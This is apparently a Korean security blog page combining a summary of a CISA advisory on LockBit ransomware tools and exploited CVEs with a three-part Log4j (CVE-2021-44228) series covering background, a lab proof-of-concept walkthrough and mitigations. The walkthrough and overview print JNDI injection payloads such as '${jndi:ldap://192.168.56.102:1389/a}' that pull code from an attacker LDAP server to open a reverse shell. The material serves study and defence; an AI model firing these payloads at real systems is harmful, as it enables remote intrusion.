1. 개요

- 미국 CISA, FBI, MS-ISAC와 여러 국가의 사이버 보안 그룹이 LockBit 랜섬웨어 관련 분석 및 보안권고 발표

- 공격자는 LockBit을 사용해 다양한 주요 인프라 분야를 지속적으로 공격

> 금융, 식품 및 농업, 교육, 에너지, 정부 및 응급 서비스, 의료, 제조 및 운송 등

> 20년 이후 약 1,700건의 공격 시도, 69건의 침해사고, 1,653명의 피해 확인

- 변종을 개발하여 고도화하고, RaaS(Ransomware-as-a-Service)를 지원해 랜섬웨어 배포

> 20년 이후 72건의 변종 발견

 

2. 주요내용

- 내부망 침입을 위해 합법적인 사용을 목적으로 하는 여러 프리웨어 및 오픈 소스 도구 활용

> 용도를 변경하여 네트워크 정찰, 원격 액세스 및 터널링, 자격 증명 덤프, 파일 유출 등에 악용

구분 도구명 사용 목적 LockBit 그룹 사용 목적
정보수집 AdFind AD(Active Directory)를 검색 및 정보 수집 AD 정보를 수집하여 권한 확대 및 네트워크 이동
Advanced 
Internet Protocol (IP) 
Scanner
네트워크 스캔 후 네트워크 장치 표시 잠재적인 액세스 벡터를 식별하기 위해 피해자의 네트워크를 매핑
Advanced
Port
Scanner
네트워크 스캔 공격에 사용할 TCP/UDP 포트 검색
Bloodhound 공격 경로 관리를 위한 AD 정찰을 수행 네트워크 액세스 권한을 얻기 위해 악용될 수 있는 AD 관계를 식별
Seatbelt 여러 보안 지향 검사 수행 보안 지향 검사 수행해 시스템 정보 나열
SoftPerfect
Network 
Scanner
시스템 관리를 위해 네트워크 스캔을 수행 시스템 및 네트워크 정보 획득
원격접근 AnyDesk 원격 접속 프로그램 네트워크 장치 원격 제어
Atera 
Remote Monitoring 
& Management
(RMM)
네트워크 장치에 대한 원격 연결 활성화 네트워크 장치 원격 제어 네트워크 장치 원격 제어
Ligolo 펜 테스트를 위해 SOCKS5 또는 TCP 터널을 역방향 연결에서 설정 역방향 터널링을 통해 피해자 네트워크 내의 시스템에 연결
Ngrok 인터넷을 통한 터널링을 통해 로컬 웹 서버에 원격 접근 인터넷을 통해 시스템에 터널링하여 네트워크 보호를 우회
ScreenConnect 
(또는 ConnectWise)
네트워크 장치에 대한 원격 연결 활성화 시스템 원격 연결
Splashtop 네트워크 장치에 대한 원격 연결 활성화 시스템 원격 연결
TeamViewer 네트워크 장치에 대한 원격 연결 활성화 시스템 원격 연결
ThunderShell HTTP 요청을 통한 원격 액세스 네트워크 트래픽을 암호화하면서 원격으로 시스템 접근
자격 증명
정보 수집
ExtPassword Windows 시스템에서 암호 복구 네트워크 액세스 및 자격 증명 획득
LaZagne 여러 플랫폼에서 시스템 암호를 복구 시스템 및 네트워크 액세스를 위한 자격 증명 수집
LostMyPassword Windows 시스템 암호 복구 네트워크 액세스 및 자격 증명 수집
Microsoft 
Sysinternals 
ProcDump
중앙 처리 장치(CPU) 스파이크에 대한 애플리케이션을 모니터링하고 스파이크 중에 크래시 덤프를 생성 LSASS(Local Security Authority Subsystem Service)의 콘텐츠를 덤프하여 자격 증명 획득
Mimikatz 시스템에서 자격 증명 추출 네트워크 액세스 권한을 얻고 시스템을 악용하기 위해 자격 증명 추출
PasswordFox Firefox 브라우저 암호 복구 네트워크 액세스 및 자격 증명 수집
권한 상승 AdvancedRun 다른 설정으로 소프트웨어 실행 소프트웨어 실행 전 설정 변경을 통해 권한 상승 활성화
네트워크 이동 Impacket 네트워크 프로토콜 작업을 위한 Python 클래스 모음 네트워크 이동 활성화
공격 파일 유포 Chocolatey Microsoft Windows에서 명령줄 패키지 관리 LockBit 그룹 도구 설치에 활용
시스템제어 Microsoft
Sysinternals
PsExec
원격 시스템에서 명령줄 프로세스를 실행 시스템 제어
탐지우회 7-zip 파일을 아카이브로 압축 유출 전에 감지되지 않도록 데이터 압축
Backstab 맬웨어 방지 프로그램 EDR로 보호되는 프로세스를 종료
Bat Armor PowerShell 스크립트를 사용해 .bat 파일을 생성 PowerShell 실행 정책 우회
Defender 
Control
Microsoft Defender를 비활성화 Microsoft Defender 우회
GMER 루트킷 제거 EDR 소프트웨어 종료하고 제거
PCHunter 시스템 프로세스 및 커널을 포함한 고급 작업 관리를 활성화 EDR 프로세스 종료 및 우회
PowerTool 루트킷을 제거하고 커널 구조 수정을 감지, 분석 및 수정 EDR 소프트웨어 종료 및 제거
Process 
Hacker
루트킷 제거 EDR 소프트웨어 종료 및 제거
PuTTY Link (Plink) Windows SSH(Secure Shell) 작업 자동화 탐지 우회
TDSSKiller 루트킷 제거 EDR 프로세스 종료 및 제거
데이터 유출 FileZilla 플랫폼 간 파일 전송 프로토콜(FTP) LockBit 그룹으로 데이터 유출
FreeFileSync 클라우드 기반 파일 동기화 지원 데이터 유출을 위한 클라우드 기반 파일 동기화
MEGA Ltd MegaSync 클라우드 기반 파일 동기화 지원 데이터 유출을 위한 클라우드 기반 파일 동기화
Rclone 클라우드 저장소 파일을 관리 클라우드 스토리지를 통한 데이터 유출
WinSCP Microsoft Windows용 SSH 파일 전송 프로토콜을 사용하여 파일 전송 SSH 파일 전송 프로토콜을 통해 데이터 유출

 

- 기존 RCE 취약점 및 새로운 취약점 악용

구분 CVE CVSS 설명
신규 취약점 CVE-2023-0669 7.2 Fortra GoAnyhwere Managed File Transfer(MFT) 원격 코드 실행 취약점
CVE-2023-27350 9.8 PaperCut MF/NG 부적절한 접근 제어 취약점
기존 취약점 CVE-2021-44228 10.0 Apache Log4j2 원격 코드 실행 취약점
CVE-2021-22986 9.8 F5 BIG-IP 및 BIG-IQ 원격 코드 실행 취약점
CVE-2020-1472 10.0 NetLogon 권한 상승 취약점
CVE-2019-0708 9.8 Microsoft 원격 데스크톱 서비스 원격 코드 실행 취약점
CVE-2018-13379 9.8 Fortinet FortiOS SSL VPN 경로 우회 취약점

 

3. 권고사항

- 관리자 계정 지속적 모니터링 및 감사

- 원격 접근 방지를 위한 망분리 및 서비스 계정 제한 (권한, 세션 시간 제한 등)

- 확산 방지를 위한 업무별 중요도 파악 및 네트워크 분할

- 탈취 계정 사용 방지를 위한 비밀번호 변경 및 MFA 활성화

- 잘못된 AD 보안 구성이 있는지 지속적 점검

- 교육을 통한 임직원 보안 인식 제고 및 향상

 

4. 참고

[1] https://www.cisa.gov/news-events/news/us-and-international-partners-release-comprehensive-cyber-advisory-lockbit-ransomware
[2] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-165a

'랜섬웨어 > 분석' 카테고리의 다른 글

다크파워 (Dark Power) 랜섬웨어  (1) 2023.03.28
ESXiArgs Ransomware  (0) 2023.02.15
Masscan 랜섬웨어  (0) 2022.10.12
LockBit 3.0 랜섬웨어 빌더 분석  (1) 2022.10.04
 

Log4j 취약점 분석 #1 개요

2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의 기업 및 기관이 Log4j를 사

ggonmerr.tistory.com

 

Log4j 취약점 분석 #2 취약점 분석

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

 

마지막으로 현재는 패치가 완료된 상태이나 Log4j 취약점 대응방안을 정리한다.

 

1. KISA

주요 골자는 최신 버전 업데이트 적용이며 업데이트가 불가능할 경우 JndiLookup 클래스를 제거한다.

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr

2. 취약점 점검

먼저 현재 사용중인 Log4j의 버전을 확인하여, 취약점이 존재하는 버전일 경우 최신 버전으로의 업데이트를 적용한다.

로그프로세소 등의 기업이 취약점 대응을 위한 스캐너를 배포하였으며, 해당 스캐너 등을 사용한다.

 

Log4j 버전 확인 방법

1. pom.xml 파일을 열고 "Log4j-core"로 검색해 설치된 버전 정보를 확인 가능하다.

2. 리눅스의 경우 find / -name | grep 'log4j' 명령을 수행하여 파일명 "log4j-core-버전명.jar"를 확인한다.

 

해당 취약점 점검 도구 중 https://log4shell.huntress.com/를 이용하면 보다 편리하게 점검할 수 있다. 해당 사이트에서 LDAP 서버를 구축해 수행하는 쿼리도 제공 한다. 하지만 해당 사이트에 대한 정당한 보안성 검토가 필요하다.

 

Huntress - Log4Shell Tester

Huntress Log4Shell Vulnerability Tester Our team is continuing to investigate CVE-2021-44228, a critical vulnerability that’s affecting a Java logging package log4j which is used in a significant amount of software. The source code for this tool is avail

log4shell.huntress.com

3. 보안 장비에서 탐지

공격자들이 해당 취약점을 이용하기 위해 일정한 패턴(%{jndi:ldap 등)을 사용하는데, 

해당 패턴들을 보안 장비에 등록하여 공격 시도를 탐지 및 차단할 수 있도록 한다.

[캡쳐 1] https://aws.amazon.com/ko/blogs/korea/using-aws-security-services-to-protect-against-detect-and-respond-to-the-log4j-vulnerability/

위 사진을 통해 공격이 발생하지 않도록 할 수 있는 상황은 다음과 같다(이중 하나라도 차단이 되면 공격 불가).

1) WAF를 통해 패턴 차단

2) Log4j를 사용하지 않는 경우

3) Log4j 취약점이 패치된 최신 버전을 사용중인 경우

4) JNDI LookUp을 사용하지 않는 경우

5) Log4j를 사용하나 로그 기록 형태를 공격자가 알 수 없는 형태로 기록하는 경우

6) 공격자의 LDAP 서버와의 통신이 불가한 경우 (IP, Port 차단 또는 도메인 차단 등)

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14
 

Log4j 취약점 분석 #1 개요

2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의 기업 및 기관이 Log4j를 사

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

1. Log4j 동작 조건 및 영향 받는 버전

먼저 해당 취약점이 동작하기 위해서는 몇가지 조건이 있는데, 다음과 같다.

- log4j 버전이 2.0에서 2.14.1 사이
- JRE / JDK 버전이 특정 버전(6u221, 7u201, 8u191, 11.0.1)보다 이전 버전

2. 취약점 시연

아래 Github를 참고해 진행하였다.

 

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

github.com

2-1)  피해자 환경

Ubuntu 20.04
IP : 192.168.56.107

명령어

[캡쳐 1] 수행 명렁

해당 명령을 순차적으로 실행한 후 localhost:8080으로 접속이 가능하다.

* docker 설치 및 명령줄을 수행하였으나 error가 발생하였고, sudo 명령을 추가하여 설치와 명령을 수행(해당 부분 이유 확인 필요).

[캡쳐 2] 웹 사이트 화면

2-2)  공격자 환경

Kali Linux
IP : 192.168.56.102
LDAP Port : 1389
Web Port : 8000
nc Port : 9001

명령어

[캡쳐 3] 수행 명령

JDK 1.8 버전을 다운받아 해당 폴더에 위치시켜야 하며, 이름은 JDK_1.8.0_20 이어야한다.

* https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html 에서 8u20 부분을 찾아 다운로드

[캡쳐 4] JDK 다운&압축해제

이후 리버스 쉘 생성과 poc를 실행한다.

[캡쳐 5] 리버스 쉘 생성 및 poc 실행

이후 공격자는 취약합 웹서버에 jndi ldap 쿼리를 이용하여 공격을 수행한다.

[캡쳐 6] ${jndi:ldap://192.168.56.102:1389/a}

공격자 화면을 통해 확인하면 

1. 취약한 웹서버로 부터 8000포트로 LDAP 쿼리를 수신해 Exploit.class를 반환 했으며

2. nc로 리스닝 중이던 9001포트로 리버스 쉘이 생성된 상황이다.

* 패킷 분석을 위해 와이어샤크를 사용하였으나, 해당 부분은 좀 더 공부가 필요할 것으로 보인다(추후 취약점 분석 때 사용 가능하도록).

[캡쳐 7] 공격자의 쉘 획득

2-3)  흐름도

위의 일련의 과정을 흐름도로 나타내면 다음과 같다.

[캡쳐 8] 흐름도

3. 취약점 원리

[캡쳐 9] 취약한 웹서버의 소스코드

[캡쳐 9]는 취약한 웹서버 소스코드의 일부이며 33번 Line에서 userName(계정정보_[캡쳐 6]을 수행한 이유)을 그대로

log로 작성하기 때문에 취약점이 발생 가능 한 것이다.

 

 

 

 

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #1 개요  (0) 2022.07.14
 

Log4j 취약점 분석 #2 취약점 분석

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

2021년 말 역사상 최악의 보안 취약점이 발견되었다.
해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다.
대부분의 기업 및 기관이 Log4j를 사용하기에 역사상 최악의 보안 취약점이라 불린다.
현재는 취약점이 패치가 된 상태이며, 개인 공부 및 정리 목적으로 관련 내용을 정리하려 한다.

1. Log4j 취약점(CVE-2021-44228)

[캡쳐 1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228 번역

cve.mitre.org(https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)에 따르면 해당 취약점은
일부 취약한 Log4j의 JNDI 기능으로 인해 공격자가 제어하는 LDAP 및 JNDI 관련 엔드포인트로부터 악용될 수 있다는 것

2. 취약점에 이용되는 기능

해당 취약점은 Log4j, JNDI, LDAP 3가지 기능을 악용하는 것으로 해당 기능에 대한 이해가 필요하다.

2-1) Log4j

[캡쳐 2] https://wooncloud.tistory.com/65
[캡쳐 3] https://wooncloud.tistory.com/65

즉, Log4j는 아파치 소프트웨어 재단에서 제공하는 로그 레벨 설정 및 해당 로그를 기록하기 위한 자바 기반 로깅 유틸리티이다.

2-2) JNDI(Java Naming and Directory Interface API)

[캡쳐 4] https://deviscreen.tistory.com/123

디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup) 하기 위한 자바 API로
디렉터리 서비스를 이용하기 위한 API 정도로 정리할 수 있을 것 같다.

* 참고 디렉터리 서비스란?
컴퓨터 네트워크의 사용자와 네트워크 자원에 대한 정보를 저장하고 조직하는 응용 소프트웨어
즉, 네트워크에 분산된 자원을 디렉터리 형식으로 관리하며, 디렉터리 내 정보의 검색, 변경, 추가, 삭제 등의 기능을 제공

2-3) LDAP(Lightweight Directory Access Protocol)

[캡쳐 5] https://www.samsungsds.com/kr/insights/ldap.html

TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜로, 389 포트(SSL 기반 LDAP는 636)를 사용한다.
즉, 디렉터리 서비스를 사용하기위한 프로토콜이다.

3. 최종정리

즉, Log4j 취약점은 다음과 같이 정리할 수 있을 것 같다.
Log4j 유틸리티는 JNDI 디렉터리 서비스를 사용하기위해 LDAP를 사용하는데 공격자는 이를 악한다.

 

● 내용추가

- Java 프로그램들은 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있음

> URL ldap://localhost:389/o=JNDITutorial를 이용해 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있음

 

- Log4j에서는 편리한 사용을 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게하는 문법이 존재

> ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있음

 

- 해당 문법은 로그가 기록될 때에도 적용이 가능하여 공격자가 로그에 기록되는 곳을 찾아 익스플로잇 진행

> 공격자는 ${jndi:ldap://공격아이피:1389/실행명령} 입력

> 해당 값을 로그로 기록하는 과정에서 문법이 실행되어 공격자의 서버에 접근하게 되는 것

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15

+ Recent posts